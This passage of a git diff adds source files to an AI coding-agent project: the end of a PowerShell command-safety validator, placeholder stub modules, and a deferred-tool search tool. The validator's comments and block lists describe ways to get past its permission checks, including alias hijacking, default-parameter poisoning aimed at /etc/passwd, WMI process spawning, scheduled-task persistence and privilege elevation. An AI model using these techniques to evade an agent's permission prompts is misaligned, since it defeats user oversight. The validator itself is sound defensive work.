+        if (!kids) continue
+        for (const child of kids) {
+          if (child.text.replace(/['"`\s]/g, '').toLowerCase() === 'runas') {
+            return {
+              behavior: 'ask',
+              message: 'Command requests elevated privileges',
+            }
+          }
+        }
+      }
+    }
+    if (
+      cmd.args.some(a => {
+        // Strip backticks before matching (bug #14 / review nit #2)
+        const clean = a.replace(/`/g, '')
+        return /^[-\u2013\u2014\u2015/]v[a-z]*:['"` ]*runas['"` ]*$/i.test(
+          clean,
+        )
+      })
+    ) {
+      return {
+        behavior: 'ask',
+        message: 'Command requests elevated privileges',
+      }
+    }
+    // Vector 2: Start-Process targeting a PowerShell executable.
+    // Target is either the first positional arg or the value after -FilePath.
+    // Scan all args — any PS-executable token present is treated as the launch
+    // target. Known false-positive: path-valued params (-WorkingDirectory,
+    // -RedirectStandard*) whose basename is pwsh/powershell —
+    // isPowerShellExecutable extracts basenames from paths, so
+    // `-WorkingDirectory C:\projects\pwsh` triggers. Accepted trade-off:
+    // Start-Process is not in CMDLET_ALLOWLIST (always prompts regardless),
+    // result is ask not reject, and correctly parsing Start-Process parameter
+    // binding is fragile. Strip quotes the parser may have preserved.
+    for (const arg of cmd.args) {
+      const stripped = arg.replace(/^['"]|['"]$/g, '')
+      if (isPowerShellExecutable(stripped)) {
+        return {
+          behavior: 'ask',
+          message:
+            'Start-Process launches a nested PowerShell process which cannot be validated',
+        }
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Cmdlets where script blocks are safe (filtering/output cmdlets).
+ * Script blocks piped to these are just predicates or projections, not arbitrary execution.
+ */
+const SAFE_SCRIPT_BLOCK_CMDLETS = new Set([
+  'where-object',
+  'sort-object',
+  'select-object',
+  'group-object',
+  'format-table',
+  'format-list',
+  'format-wide',
+  'format-custom',
+  // NOT foreach-object — its block is arbitrary script, not a predicate.
+  // getAllCommands recurses so commands inside the block ARE checked, but
+  // non-command AST nodes (AssignmentStatementAst etc.) are invisible to it.
+  // See powershellPermissions.ts step-5 hasScriptBlocks guard.
+])
+
+/**
+ * Checks for script block injection patterns where script blocks
+ * appear in suspicious contexts that could execute arbitrary code.
+ *
+ * Script blocks used with safe filtering/output cmdlets (Where-Object,
+ * Sort-Object, Select-Object, Group-Object) are allowed.
+ * Script blocks used with dangerous cmdlets (Invoke-Command, Invoke-Expression,
+ * Start-Job, etc.) are flagged.
+ */
+function checkScriptBlockInjection(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  const security = deriveSecurityFlags(parsed)
+  if (!security.hasScriptBlocks) {
+    return { behavior: 'passthrough' }
+  }
+
+  // Check all commands in the parsed result. If any command is in the
+  // dangerous set, flag it. If all commands with script blocks are in
+  // the safe set (or the allowlist), allow it.
+  for (const cmd of getAllCommands(parsed)) {
+    const lower = cmd.name.toLowerCase()
+    if (DANGEROUS_SCRIPT_BLOCK_CMDLETS.has(lower)) {
+      return {
+        behavior: 'ask',
+        message:
+          'Command contains script block with dangerous cmdlet that may execute arbitrary code',
+      }
+    }
+  }
+
+  // Check if all commands are either safe script block consumers or don't use script blocks
+  const allCommandsSafe = getAllCommands(parsed).every(cmd => {
+    const lower = cmd.name.toLowerCase()
+    // Safe filtering/output cmdlets
+    if (SAFE_SCRIPT_BLOCK_CMDLETS.has(lower)) {
+      return true
+    }
+    // Resolve aliases
+    const alias = COMMON_ALIASES[lower]
+    if (alias && SAFE_SCRIPT_BLOCK_CMDLETS.has(alias.toLowerCase())) {
+      return true
+    }
+    // Unknown command with script blocks present — flag as potentially dangerous
+    return false
+  })
+
+  if (allCommandsSafe) {
+    return { behavior: 'passthrough' }
+  }
+
+  return {
+    behavior: 'ask',
+    message: 'Command contains script block that may execute arbitrary code',
+  }
+}
+
+/**
+ * AST-only check: Detects subexpressions $() which can hide command execution.
+ */
+function checkSubExpressions(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  if (deriveSecurityFlags(parsed).hasSubExpressions) {
+    return {
+      behavior: 'ask',
+      message: 'Command contains subexpressions $()',
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * AST-only check: Detects expandable strings (double-quoted) with embedded
+ * expressions like "$env:PATH" or "$(dangerous-command)". These can hide
+ * command execution or variable interpolation inside string literals.
+ */
+function checkExpandableStrings(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  if (deriveSecurityFlags(parsed).hasExpandableStrings) {
+    return {
+      behavior: 'ask',
+      message: 'Command contains expandable strings with embedded expressions',
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * AST-only check: Detects splatting (@variable) which can obscure arguments.
+ */
+function checkSplatting(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  if (deriveSecurityFlags(parsed).hasSplatting) {
+    return {
+      behavior: 'ask',
+      message: 'Command uses splatting (@variable)',
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * AST-only check: Detects stop-parsing token (--%) which prevents further parsing.
+ */
+function checkStopParsing(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  if (deriveSecurityFlags(parsed).hasStopParsing) {
+    return {
+      behavior: 'ask',
+      message: 'Command uses stop-parsing token (--%)',
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * AST-only check: Detects .NET method invocations which can access system APIs.
+ */
+function checkMemberInvocations(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  if (deriveSecurityFlags(parsed).hasMemberInvocations) {
+    return {
+      behavior: 'ask',
+      message: 'Command invokes .NET methods',
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * AST-only check: type literals outside Microsoft's ConstrainedLanguage
+ * allowlist. CLM blocks all .NET type access except ~90 primitives/attributes
+ * Microsoft considers safe for untrusted code. We trust that list as the
+ * "safe" boundary — anything outside it (Reflection.Assembly, IO.Pipes,
+ * Diagnostics.Process, InteropServices.Marshal, etc.) can access system APIs
+ * that compromise the permission model.
+ *
+ * Runs AFTER checkMemberInvocations: that broadly flags any ::Method / .Method()
+ * call; this check is the more specific "which types" signal. Both fire on
+ * [Reflection.Assembly]::Load; CLM gives the precise message. Pure type casts
+ * like [int]$x have no member invocation and only hit this check.
+ */
+function checkTypeLiterals(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const t of parsed.typeLiterals ?? []) {
+    if (!isClmAllowedType(t)) {
+      return {
+        behavior: 'ask',
+        message: `Command uses .NET type [${t}] outside the ConstrainedLanguage allowlist`,
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Invoke-Item (alias ii) opens a file with its default handler (ShellExecute
+ * on Windows, open/xdg-open on Unix). On an .exe/.ps1/.bat/.cmd this is RCE.
+ * Bug 008: ii is in no blocklist; passthrough prompt doesn't explain the
+ * exec hazard. Always ask — there is no safe variant (even opening .txt may
+ * invoke a user-configured handler that accepts arguments).
+ */
+function checkInvokeItem(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    const lower = cmd.name.toLowerCase()
+    if (lower === 'invoke-item' || lower === 'ii') {
+      return {
+        behavior: 'ask',
+        message:
+          'Invoke-Item opens files with the default handler (ShellExecute). On executable files this runs arbitrary code.',
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Scheduled-task persistence primitives. Register-ScheduledJob was blocked
+ * (DANGEROUS_SCRIPT_BLOCK_CMDLETS); the newer Register-ScheduledTask cmdlet
+ * and legacy schtasks.exe /create were not. Persistence that survives the
+ * session with no explanatory prompt.
+ */
+const SCHEDULED_TASK_CMDLETS = new Set([
+  'register-scheduledtask',
+  'new-scheduledtask',
+  'new-scheduledtaskaction',
+  'set-scheduledtask',
+])
+
+function checkScheduledTask(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    const lower = cmd.name.toLowerCase()
+    if (SCHEDULED_TASK_CMDLETS.has(lower)) {
+      return {
+        behavior: 'ask',
+        message: `${cmd.name} creates or modifies a scheduled task (persistence primitive)`,
+      }
+    }
+    if (lower === 'schtasks' || lower === 'schtasks.exe') {
+      if (
+        cmd.args.some(a => {
+          const la = a.toLowerCase()
+          return (
+            la === '/create' ||
+            la === '/change' ||
+            la === '-create' ||
+            la === '-change'
+          )
+        })
+      ) {
+        return {
+          behavior: 'ask',
+          message:
+            'schtasks with create/change modifies scheduled tasks (persistence primitive)',
+        }
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * AST-only check: Detects environment variable manipulation via Set-Item/New-Item on env: scope.
+ */
+const ENV_WRITE_CMDLETS = new Set([
+  'set-item',
+  'si',
+  'new-item',
+  'ni',
+  'remove-item',
+  'ri',
+  'del',
+  'rm',
+  'rd',
+  'rmdir',
+  'erase',
+  'clear-item',
+  'cli',
+  'set-content',
+  // 'sc' omitted — collides with sc.exe on PS Core 7+, see COMMON_ALIASES note
+  'add-content',
+  'ac',
+])
+
+function checkEnvVarManipulation(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  const envVars = getVariablesByScope(parsed, 'env')
+  if (envVars.length === 0) {
+    return { behavior: 'passthrough' }
+  }
+  // Check if any command is a write cmdlet
+  for (const cmd of getAllCommands(parsed)) {
+    if (ENV_WRITE_CMDLETS.has(cmd.name.toLowerCase())) {
+      return {
+        behavior: 'ask',
+        message: 'Command modifies environment variables',
+      }
+    }
+  }
+  // Also flag if there are assignments involving env vars
+  if (deriveSecurityFlags(parsed).hasAssignments && envVars.length > 0) {
+    return {
+      behavior: 'ask',
+      message: 'Command modifies environment variables',
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Module-loading cmdlets execute a .psm1's top-level script body (Import-Module)
+ * or download from arbitrary repositories (Install-Module, Save-Module). A
+ * wildcard allow rule like `Import-Module:*` would let an attacker-supplied
+ * .psm1 execute with the user's privileges — same risk as Invoke-Expression.
+ *
+ * NEVER_SUGGEST (dangerousCmdlets.ts) derives from this list so the UI
+ * never offers these as wildcard suggestions, but users can still manually
+ * write allow rules. This check ensures the permission engine independently
+ * gates these cmdlets.
+ */
+
+function checkModuleLoading(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    const lower = cmd.name.toLowerCase()
+    if (MODULE_LOADING_CMDLETS.has(lower)) {
+      return {
+        behavior: 'ask',
+        message:
+          'Command loads, installs, or downloads a PowerShell module or script, which can execute arbitrary code',
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Set-Alias/New-Alias can hijack future command resolution: after
+ * `Set-Alias Get-Content Invoke-Expression`, any later `Get-Content $x`
+ * executes arbitrary code. Set-Variable/New-Variable can poison
+ * `$PSDefaultParameterValues` (e.g., `Set-Variable PSDefaultParameterValues
+ * @{'*:Path'='/etc/passwd'}`) which alters every subsequent cmdlet's behavior.
+ * Neither effect can be validated statically — we'd need to track all future
+ * command resolutions in the session. Always ask.
+ */
+const RUNTIME_STATE_CMDLETS = new Set([
+  'set-alias',
+  'sal',
+  'new-alias',
+  'nal',
+  'set-variable',
+  'sv',
+  'new-variable',
+  'nv',
+])
+
+function checkRuntimeStateManipulation(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    // Strip module qualifier: `Microsoft.PowerShell.Utility\Set-Alias` → `set-alias`
+    const raw = cmd.name.toLowerCase()
+    const lower = raw.includes('\\')
+      ? raw.slice(raw.lastIndexOf('\\') + 1)
+      : raw
+    if (RUNTIME_STATE_CMDLETS.has(lower)) {
+      return {
+        behavior: 'ask',
+        message:
+          'Command creates or modifies an alias or variable that can affect future command resolution',
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Invoke-WmiMethod / Invoke-CimMethod are Start-Process equivalents via WMI.
+ * `Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd /c ..."`
+ * spawns an arbitrary process, bypassing checkStartProcess entirely. No narrow
+ * safe usage exists — -Class and -MethodName accept arbitrary strings, so
+ * gating on Win32_Process specifically would miss -Class $x or other process-
+ * spawning WMI classes. Returns ask on any invocation. (security finding #34)
+ */
+const WMI_SPAWN_CMDLETS = new Set([
+  'invoke-wmimethod',
+  'iwmi',
+  'invoke-cimmethod',
+])
+
+function checkWmiProcessSpawn(
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  for (const cmd of getAllCommands(parsed)) {
+    const lower = cmd.name.toLowerCase()
+    if (WMI_SPAWN_CMDLETS.has(lower)) {
+      return {
+        behavior: 'ask',
+        message: `${cmd.name} can spawn arbitrary processes via WMI/CIM (Win32_Process Create)`,
+      }
+    }
+  }
+  return { behavior: 'passthrough' }
+}
+
+/**
+ * Main entry point for PowerShell security validation.
+ * Checks a PowerShell command against known dangerous patterns.
+ *
+ * All checks are AST-based. If the AST parse failed (parsed.valid === false),
+ * none of the individual checks will match and we return 'ask' as a safe default.
+ *
+ * @param command - The PowerShell command to validate (unused, kept for API compat)
+ * @param parsed - Parsed AST from PowerShell's native parser (required)
+ * @returns Security result indicating whether the command is safe
+ */
+export function powershellCommandIsSafe(
+  _command: string,
+  parsed: ParsedPowerShellCommand,
+): PowerShellSecurityResult {
+  // If the AST parse failed, we cannot determine safety -- ask the user
+  if (!parsed.valid) {
+    return {
+      behavior: 'ask',
+      message: 'Could not parse command for security analysis',
+    }
+  }
+
+  const validators = [
+    checkInvokeExpression,
+    checkDynamicCommandName,
+    checkEncodedCommand,
+    checkPwshCommandOrFile,
+    checkDownloadCradles,
+    checkDownloadUtilities,
+    checkAddType,
+    checkComObject,
+    checkDangerousFilePathExecution,
+    checkInvokeItem,
+    checkScheduledTask,
+    checkForEachMemberName,
+    checkStartProcess,
+    checkScriptBlockInjection,
+    checkSubExpressions,
+    checkExpandableStrings,
+    checkSplatting,
+    checkStopParsing,
+    checkMemberInvocations,
+    checkTypeLiterals,
+    checkEnvVarManipulation,
+    checkModuleLoading,
+    checkRuntimeStateManipulation,
+    checkWmiProcessSpawn,
+  ]
+
+  for (const validator of validators) {
+    const result = validator(parsed)
+    if (result.behavior === 'ask') {
+      return result
+    }
+  }
+
+  // All checks passed
+  return { behavior: 'passthrough' }
+}
diff --git a/_all-in-one-upload/cc-haha/src/tools/SubscribePRTool/SubscribePRTool.ts b/_all-in-one-upload/cc-haha/src/tools/SubscribePRTool/SubscribePRTool.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/SubscribePRTool/SubscribePRTool.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/_all-in-one-upload/cc-haha/src/tools/TaskUpdateTool/constants.ts b/_all-in-one-upload/cc-haha/src/tools/TaskUpdateTool/constants.ts
new file mode 100644
index 0000000..62b4709
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/TaskUpdateTool/constants.ts
@@ -0,0 +1 @@
+export const TASK_UPDATE_TOOL_NAME = 'TaskUpdate'
diff --git a/_all-in-one-upload/cc-haha/src/tools/ToolSearchTool/ToolSearchTool.ts b/_all-in-one-upload/cc-haha/src/tools/ToolSearchTool/ToolSearchTool.ts
new file mode 100644
index 0000000..ee43b66
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/ToolSearchTool/ToolSearchTool.ts
@@ -0,0 +1,471 @@
+import type { ToolResultBlockParam } from '@anthropic-ai/sdk/resources/index.mjs'
+import memoize from 'lodash-es/memoize.js'
+import { z } from 'zod/v4'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../../services/analytics/index.js'
+import {
+  buildTool,
+  findToolByName,
+  type Tool,
+  type ToolDef,
+  type Tools,
+} from '../../Tool.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { escapeRegExp } from '../../utils/stringUtils.js'
+import { isToolSearchEnabledOptimistic } from '../../utils/toolSearch.js'
+import { getPrompt, isDeferredTool, TOOL_SEARCH_TOOL_NAME } from './prompt.js'
+
+export const inputSchema = lazySchema(() =>
+  z.object({
+    query: z
+      .string()
+      .describe(
+        'Query to find deferred tools. Use "select:<tool_name>" for direct selection, or keywords to search.',
+      ),
+    max_results: z
+      .number()
+      .optional()
+      .default(5)
+      .describe('Maximum number of results to return (default: 5)'),
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+export const outputSchema = lazySchema(() =>
+  z.object({
+    matches: z.array(z.string()),
+    query: z.string(),
+    total_deferred_tools: z.number(),
+    pending_mcp_servers: z.array(z.string()).optional(),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+
+export type Output = z.infer<OutputSchema>
+
+// Track deferred tool names to detect when cache should be cleared
+let cachedDeferredToolNames: string | null = null
+
+/**
+ * Get a cache key representing the current set of deferred tools.
+ */
+function getDeferredToolsCacheKey(deferredTools: Tools): string {
+  return deferredTools
+    .map(t => t.name)
+    .sort()
+    .join(',')
+}
+
+/**
+ * Get tool description, memoized by tool name.
+ * Used for keyword search scoring.
+ */
+const getToolDescriptionMemoized = memoize(
+  async (toolName: string, tools: Tools): Promise<string> => {
+    const tool = findToolByName(tools, toolName)
+    if (!tool) {
+      return ''
+    }
+    return tool.prompt({
+      getToolPermissionContext: async () => ({
+        mode: 'default' as const,
+        additionalWorkingDirectories: new Map(),
+        alwaysAllowRules: {},
+        alwaysDenyRules: {},
+        alwaysAskRules: {},
+        isBypassPermissionsModeAvailable: false,
+      }),
+      tools,
+      agents: [],
+    })
+  },
+  (toolName: string) => toolName,
+)
+
+/**
+ * Invalidate the description cache if deferred tools have changed.
+ */
+function maybeInvalidateCache(deferredTools: Tools): void {
+  const currentKey = getDeferredToolsCacheKey(deferredTools)
+  if (cachedDeferredToolNames !== currentKey) {
+    logForDebugging(
+      `ToolSearchTool: cache invalidated - deferred tools changed`,
+    )
+    getToolDescriptionMemoized.cache.clear?.()
+    cachedDeferredToolNames = currentKey
+  }
+}
+
+export function clearToolSearchDescriptionCache(): void {
+  getToolDescriptionMemoized.cache.clear?.()
+  cachedDeferredToolNames = null
+}
+
+/**
+ * Build the search result output structure.
+ */
+function buildSearchResult(
+  matches: string[],
+  query: string,
+  totalDeferredTools: number,
+  pendingMcpServers?: string[],
+): { data: Output } {
+  return {
+    data: {
+      matches,
+      query,
+      total_deferred_tools: totalDeferredTools,
+      ...(pendingMcpServers && pendingMcpServers.length > 0
+        ? { pending_mcp_servers: pendingMcpServers }
+        : {}),
+    },
+  }
+}
+
+/**
+ * Parse tool name into searchable parts.
+ * Handles both MCP tools (mcp__server__action) and regular tools (CamelCase).
+ */
+function parseToolName(name: string): {
+  parts: string[]
+  full: string
+  isMcp: boolean
+} {
+  // Check if it's an MCP tool
+  if (name.startsWith('mcp__')) {
+    const withoutPrefix = name.replace(/^mcp__/, '').toLowerCase()
+    const parts = withoutPrefix.split('__').flatMap(p => p.split('_'))
+    return {
+      parts: parts.filter(Boolean),
+      full: withoutPrefix.replace(/__/g, ' ').replace(/_/g, ' '),
+      isMcp: true,
+    }
+  }
+
+  // Regular tool - split by CamelCase and underscores
+  const parts = name
+    .replace(/([a-z])([A-Z])/g, '$1 $2') // CamelCase to spaces
+    .replace(/_/g, ' ')
+    .toLowerCase()
+    .split(/\s+/)
+    .filter(Boolean)
+
+  return {
+    parts,
+    full: parts.join(' '),
+    isMcp: false,
+  }
+}
+
+/**
+ * Pre-compile word-boundary regexes for all search terms.
+ * Called once per search instead of tools×terms×2 times.
+ */
+function compileTermPatterns(terms: string[]): Map<string, RegExp> {
+  const patterns = new Map<string, RegExp>()
+  for (const term of terms) {
+    if (!patterns.has(term)) {
+      patterns.set(term, new RegExp(`\\b${escapeRegExp(term)}\\b`))
+    }
+  }
+  return patterns
+}
+
+/**
+ * Keyword-based search over tool names and descriptions.
+ * Handles both MCP tools (mcp__server__action) and regular tools (CamelCase).
+ *
+ * The model typically queries with:
+ * - Server names when it knows the integration (e.g., "slack", "github")
+ * - Action words when looking for functionality (e.g., "read", "list", "create")
+ * - Tool-specific terms (e.g., "notebook", "shell", "kill")
+ */
+async function searchToolsWithKeywords(
+  query: string,
+  deferredTools: Tools,
+  tools: Tools,
+  maxResults: number,
+): Promise<string[]> {
+  const queryLower = query.toLowerCase().trim()
+
+  // Fast path: if query matches a tool name exactly, return it directly.
+  // Handles models using a bare tool name instead of select: prefix (seen
+  // from subagents/post-compaction). Checks deferred first, then falls back
+  // to the full tool set — selecting an already-loaded tool is a harmless
+  // no-op that lets the model proceed without retry churn.
+  const exactMatch =
+    deferredTools.find(t => t.name.toLowerCase() === queryLower) ??
+    tools.find(t => t.name.toLowerCase() === queryLower)
+  if (exactMatch) {
+    return [exactMatch.name]
+  }
+
+  // If query looks like an MCP tool prefix (mcp__server), find matching tools.
+  // Handles models searching by server name with mcp__ prefix.
+  if (queryLower.startsWith('mcp__') && queryLower.length > 5) {
+    const prefixMatches = deferredTools
+      .filter(t => t.name.toLowerCase().startsWith(queryLower))
+      .slice(0, maxResults)
+      .map(t => t.name)
+    if (prefixMatches.length > 0) {
+      return prefixMatches
+    }
+  }
+
+  const queryTerms = queryLower.split(/\s+/).filter(term => term.length > 0)
+
+  // Partition into required (+prefixed) and optional terms
+  const requiredTerms: string[] = []
+  const optionalTerms: string[] = []
+  for (const term of queryTerms) {
+    if (term.startsWith('+') && term.length > 1) {
+      requiredTerms.push(term.slice(1))
+    } else {
+      optionalTerms.push(term)
+    }
+  }
+
+  const allScoringTerms =
+    requiredTerms.length > 0 ? [...requiredTerms, ...optionalTerms] : queryTerms
+  const termPatterns = compileTermPatterns(allScoringTerms)
+
+  // Pre-filter to tools matching ALL required terms in name or description
+  let candidateTools = deferredTools
+  if (requiredTerms.length > 0) {
+    const matches = await Promise.all(
+      deferredTools.map(async tool => {
+        const parsed = parseToolName(tool.name)
+        const description = await getToolDescriptionMemoized(tool.name, tools)
+        const descNormalized = description.toLowerCase()
+        const hintNormalized = tool.searchHint?.toLowerCase() ?? ''
+        const matchesAll = requiredTerms.every(term => {
+          const pattern = termPatterns.get(term)!
+          return (
+            parsed.parts.includes(term) ||
+            parsed.parts.some(part => part.includes(term)) ||
+            pattern.test(descNormalized) ||
+            (hintNormalized && pattern.test(hintNormalized))
+          )
+        })
+        return matchesAll ? tool : null
+      }),
+    )
+    candidateTools = matches.filter((t): t is Tool => t !== null)
+  }
+
+  const scored = await Promise.all(
+    candidateTools.map(async tool => {
+      const parsed = parseToolName(tool.name)
+      const description = await getToolDescriptionMemoized(tool.name, tools)
+      const descNormalized = description.toLowerCase()
+      const hintNormalized = tool.searchHint?.toLowerCase() ?? ''
+
+      let score = 0
+      for (const term of allScoringTerms) {
+        const pattern = termPatterns.get(term)!
+
+        // Exact part match (high weight for MCP server names, tool name parts)
+        if (parsed.parts.includes(term)) {
+          score += parsed.isMcp ? 12 : 10
+        } else if (parsed.parts.some(part => part.includes(term))) {
+          score += parsed.isMcp ? 6 : 5
+        }
+
+        // Full name fallback (for edge cases)
+        if (parsed.full.includes(term) && score === 0) {
+          score += 3
+        }
+
+        // searchHint match — curated capability phrase, higher signal than prompt
+        if (hintNormalized && pattern.test(hintNormalized)) {
+          score += 4
+        }
+
+        // Description match - use word boundary to avoid false positives
+        if (pattern.test(descNormalized)) {
+          score += 2
+        }
+      }
+
+      return { name: tool.name, score }
+    }),
+  )
+
+  return scored
+    .filter(item => item.score > 0)
+    .sort((a, b) => b.score - a.score)
+    .slice(0, maxResults)
+    .map(item => item.name)
+}
+
+export const ToolSearchTool = buildTool({
+  isEnabled() {
+    return isToolSearchEnabledOptimistic()
+  },
+  isConcurrencySafe() {
+    return true
+  },
+  isReadOnly() {
+    return true
+  },
+  name: TOOL_SEARCH_TOOL_NAME,
+  maxResultSizeChars: 100_000,
+  async description() {
+    return getPrompt()
+  },
+  async prompt() {
+    return getPrompt()
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  async call(input, { options: { tools }, getAppState }) {
+    const { query, max_results = 5 } = input
+
+    const deferredTools = tools.filter(isDeferredTool)
+    maybeInvalidateCache(deferredTools)
+
+    // Check for MCP servers still connecting
+    function getPendingServerNames(): string[] | undefined {
+      const appState = getAppState()
+      const pending = appState.mcp.clients.filter(c => c.type === 'pending')
+      return pending.length > 0 ? pending.map(s => s.name) : undefined
+    }
+
+    // Helper to log search outcome
+    function logSearchOutcome(
+      matches: string[],
+      queryType: 'select' | 'keyword',
+    ): void {
+      logEvent('tengu_tool_search_outcome', {
+        query:
+          query as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        queryType:
+          queryType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        matchCount: matches.length,
+        totalDeferredTools: deferredTools.length,
+        maxResults: max_results,
+        hasMatches: matches.length > 0,
+      })
+    }
+
+    // Check for select: prefix — direct tool selection.
+    // Supports comma-separated multi-select: `select:A,B,C`.
+    // If a name isn't in the deferred set but IS in the full tool set,
+    // we still return it — the tool is already loaded, so "selecting" it
+    // is a harmless no-op that lets the model proceed without retry churn.
+    const selectMatch = query.match(/^select:(.+)$/i)
+    if (selectMatch) {
+      const requested = selectMatch[1]!
+        .split(',')
+        .map(s => s.trim())
+        .filter(Boolean)
+
+      const found: string[] = []
+      const missing: string[] = []
+      for (const toolName of requested) {
+        const tool =
+          findToolByName(deferredTools, toolName) ??
+          findToolByName(tools, toolName)
+        if (tool) {
+          if (!found.includes(tool.name)) found.push(tool.name)
+        } else {
+          missing.push(toolName)
+        }
+      }
+
+      if (found.length === 0) {
+        logForDebugging(
+          `ToolSearchTool: select failed — none found: ${missing.join(', ')}`,
+        )
+        logSearchOutcome([], 'select')
+        const pendingServers = getPendingServerNames()
+        return buildSearchResult(
+          [],
+          query,
+          deferredTools.length,
+          pendingServers,
+        )
+      }
+
+      if (missing.length > 0) {
+        logForDebugging(
+          `ToolSearchTool: partial select — found: ${found.join(', ')}, missing: ${missing.join(', ')}`,
+        )
+      } else {
+        logForDebugging(`ToolSearchTool: selected ${found.join(', ')}`)
+      }
+      logSearchOutcome(found, 'select')
+      return buildSearchResult(found, query, deferredTools.length)
+    }
+
+    // Keyword search
+    const matches = await searchToolsWithKeywords(
+      query,
+      deferredTools,
+      tools,
+      max_results,
+    )
+
+    logForDebugging(
+      `ToolSearchTool: keyword search for "${query}", found ${matches.length} matches`,
+    )
+
+    logSearchOutcome(matches, 'keyword')
+
+    // Include pending server info when search finds no matches
+    if (matches.length === 0) {
+      const pendingServers = getPendingServerNames()
+      return buildSearchResult(
+        matches,
+        query,
+        deferredTools.length,
+        pendingServers,
+      )
+    }
+
+    return buildSearchResult(matches, query, deferredTools.length)
+  },
+  renderToolUseMessage() {
+    return null
+  },
+  userFacingName: () => '',
+  /**
+   * Returns a tool_result with tool_reference blocks.
+   * This format works on 1P/Foundry. Bedrock/Vertex may not support
+   * client-side tool_reference expansion yet.
+   */
+  mapToolResultToToolResultBlockParam(
+    content: Output,
+    toolUseID: string,
+  ): ToolResultBlockParam {
+    if (content.matches.length === 0) {
+      let text = 'No matching deferred tools found'
+      if (
+        content.pending_mcp_servers &&
+        content.pending_mcp_servers.length > 0
+      ) {
+        text += `. Some MCP servers are still connecting: ${content.pending_mcp_servers.join(', ')}. Their tools will become available shortly — try searching again.`
+      }
+      return {
+        type: 'tool_result',
+        tool_use_id: toolUseID,
+        content: text,
+      }
+    }
+    return {
+      type: 'tool_result',
+      tool_use_id: toolUseID,
+      content: content.matches.map(name => ({
+        type: 'tool_reference' as const,
+        tool_name: name,
+      })),
+    } as unknown as ToolResultBlockParam
+  },
+} satisfies ToolDef<InputSchema, Output>)
diff --git a/_all-in-one-upload/cc-haha/src/types/statusLine.ts b/_all-in-one-upload/cc-haha/src/types/statusLine.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/types/statusLine.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
